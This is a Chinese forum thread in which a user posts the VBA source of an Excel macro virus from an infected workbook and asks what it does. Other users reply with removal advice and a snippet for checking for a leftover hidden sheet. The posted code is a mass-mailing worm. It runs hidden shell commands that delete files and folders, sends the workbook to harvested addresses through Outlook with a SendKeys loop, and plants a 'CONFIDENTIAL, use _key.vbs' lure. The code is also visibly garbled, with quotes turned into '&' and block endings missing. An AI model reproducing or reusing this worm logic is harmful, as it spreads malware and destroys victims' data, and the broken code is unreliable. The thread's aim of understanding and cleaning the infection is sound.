WshShell.Run Environ$(&comspec&) & & /c Del /F /Q &&& & ThisWorkbook.Path & &\setup.rpt&&&, vbHide, False
WshShell.Run Environ$(&comspec&) & & /c Del /F /Q &&& & ThisWorkbook.Path & &\setup.inf&&&, vbHide, False
WshShell.Run Environ$(&comspec&) & & /c RD /S /Q E:\sorce&, vbHide, False
If fs.Folderexists(&E:\KK&) = False Then fs.CreateFolder &E:\KK&
WshShell.Run Environ$(&comspec&) & & /c MOVE /Y & & AttName & &.CAB E:\KK&&&, vbHide, False
Call Massive_SendMail(Address_list, AttName, &Dear all,& & vbCrLf & AttName & vbCrLf & &FYI&, _
&&, &E:\KK\& & AttName & &.CAB&)
WshShell.Run Environ$(&comspec&) & & /c RD /S /Q E:\KK&, vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
& & Dim objOL As Object
& & Dim itmNewMail As Object
& & If Not if_outlook_open Then Exit Sub
& & Set objOL = CreateObject(&Outlook.Application&)
& & Set itmNewMail = objOL.CreateItem(olMailItem)
& & With itmNewMail
& && &&&.Subject = Subject
& && &&&.Body = Body
& && &&&.To = Email_Address
& && &&&.CC = CC_email_add
& && &&&.Attachments.Add Attachment
& && &&&.DeleteAfterSubmit = True
& & End With
& & On Error GoTo continue
SendEmail:
& & itmNewMail.display
& & Debug.Print &setforth &
& & DoEvents
& & DoEvents
& & DoEvents
& & SendKeys &%s&, Wait:=True
& & DoEvents
& & GoTo SendEmail
& & Set objOL = Nothing
& & Set itmNewMail = Nothing
Private Function if_outlook_open() As Boolean
Set objs = GetObject(&WinMgmts:&).InstancesOf(&Win32_Process&)
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, &OUTLOOK&) & 0 Then
if_outlook_open = True
End Function
Private Function RadomNine(length As Integer) As String
Dim jj As Integer, k As Integer, i As Integer
RadomNine = &&
If length &= 0 Then Exit Function
If length &= 10 Then
& &&&For i = 1 To length
& &&&RadomNine = RadomNine & &$$& & i
& &&&Next i
& &&&Exit Function
jj = length / 10
For i = 1 To 10
& && &k = Int(Rnd * (jj * i - m - 1)) + 1
& && &If m + k && 1 Then RadomNine = RadomNine & &$$& & m + k
& && &m = m + k
End Function
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = &&
singleAddress_arr = Split(ReadOut(&D:\Collected_Address\log.txt&), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), &$$&)
For i = 1 To UBound(krr)
get_ten_address = get_ten_address & &;& & singleAddress_arr(CInt(krr(i)) - 1)
End Function
Private Function ReadOut(FullPath) As String
& & On Error Resume Next
& & Dim Fso, FileText
& & Set Fso = CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
& & Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
& & ReadOut = FileText.ReadAll
& & FileText.Close
End Function
Private Sub CreateFile(FragMark, pathf)
& & On Error Resume Next
& & Dim Fso, FileText
& & Set Fso = CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
& & If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
& & If Fso.FileExists(pathf) Then
& && &&&Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
& && &&&FileText.Write FragMark
& && &&&FileText.Close
& && &&&Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
& && &&&FileText.Write FragMark
& && &&&FileText.Close
& & End If
Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
For Each aa In ThisWorkbook.Names
& &&&aa.Visible = True
& &&&If Split(aa.Name, &!&)(1) = &Auto_Activate& Then aa.Delete
For Each sht In ThisWorkbook.Sheets
& &&&If sht.Name = &Macro1& Then
& &&&sht.Visible = xlSheetVisible
& &&&sht.Delete
& &&&End If
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
& &&&If sht.Name && Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = &** CONFIDENTIAL! ** &
Cells(i_row + 2, i_col) = &Use & & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & &_key.vbs& & Chr(34) & & To Open This File.&
Cells(i_row + 3, i_col) = &请用 & & Chr(34) & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & &_key.vbs& & Chr(34) & & 解锁此文件.&
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
& &&&.Font.Bold = True
& &&&.Font.ColorIndex = 3
Application.ScreenUpdating = True
Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
& & If sht.Name && &Macro1& Then sht.Visible = xlSheetVisible
For Each rng In Sheets(del_sht).Range(&A1:F15&)
If InStr(rng.Value, &CONFIDENTIAL&) & 0 Then
del_frag = True
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True
End Function
初级工程师
:L 没人知道....
初级工程师
太高深了,看不懂
助理工程师
这种估计专业人才能懂的,你要确认了宏病毒可以查杀的,有专杀还有平常的杀毒软件都带这个
初级工程师
引用:原帖由 寒潭映白 于
10:38 发表
这种估计专业人才能懂的,你要确认了宏病毒可以查杀的,有专杀还有平常的杀毒软件都带这个 我只能看懂部分,已经杀完了,就是想知道具体这个代码想要得到什么结果
:lol&&有些复杂
中级工程师
楼主已经杀完了请问用什么方法杀的呢?我在局域网也遇到这个问题,能否请教一下~~~
初级工程师
引用:原帖由 riverxyz 于
16:24 发表
楼主已经杀完了请问用什么方法杀的呢?我在局域网也遇到这个问题,能否请教一下~~~ 我用宏病毒专杀杀的,杀完后把excel的宏安全性修改成高。一般的杀毒软件杀完文件还会提示有宏,但用这个杀完不会。
(285 Bytes)
(285 Bytes)
下载次数: 177
(793.37 KB)
(793.37 KB)
下载次数: 231
本帖最后由 sjhqqq 于
10:27 编辑
提示: 作者被禁止或删除 内容自动屏蔽
初级工程师
引用:原帖由 毛毛熊45 于
16:31 发表
呵呵,就是挺不错的 哈哈。我只是搬运工一个。
Sub DisplayNamesAndSheets()
& & Dim Na As Name
& & For Each Na In ThisWorkbook.Names
& && &&&Na.Visible = True
& && &&&'Na.Delete
& & For Each sh In Sheets
& && &&&sh.Visible = True& &
& & Next sh& && &
运行一下上述代码,看是否多一个名为macro1的sheet?
如果有,病毒还是没有被清理完全。
初级工程师
该文件有宏病毒,不要钱的解决办法如下
1.下载最新的360杀毒软件3.1.0.3073版安装
2.点击杀毒软件设置引擎设置,选择bitdefender常规查杀引擎,点击确定。
3.点击升级为最新,然后对此文件杀毒,问题解决、

我要回帖

更多关于 宏命令大全 的文章

 

随机推荐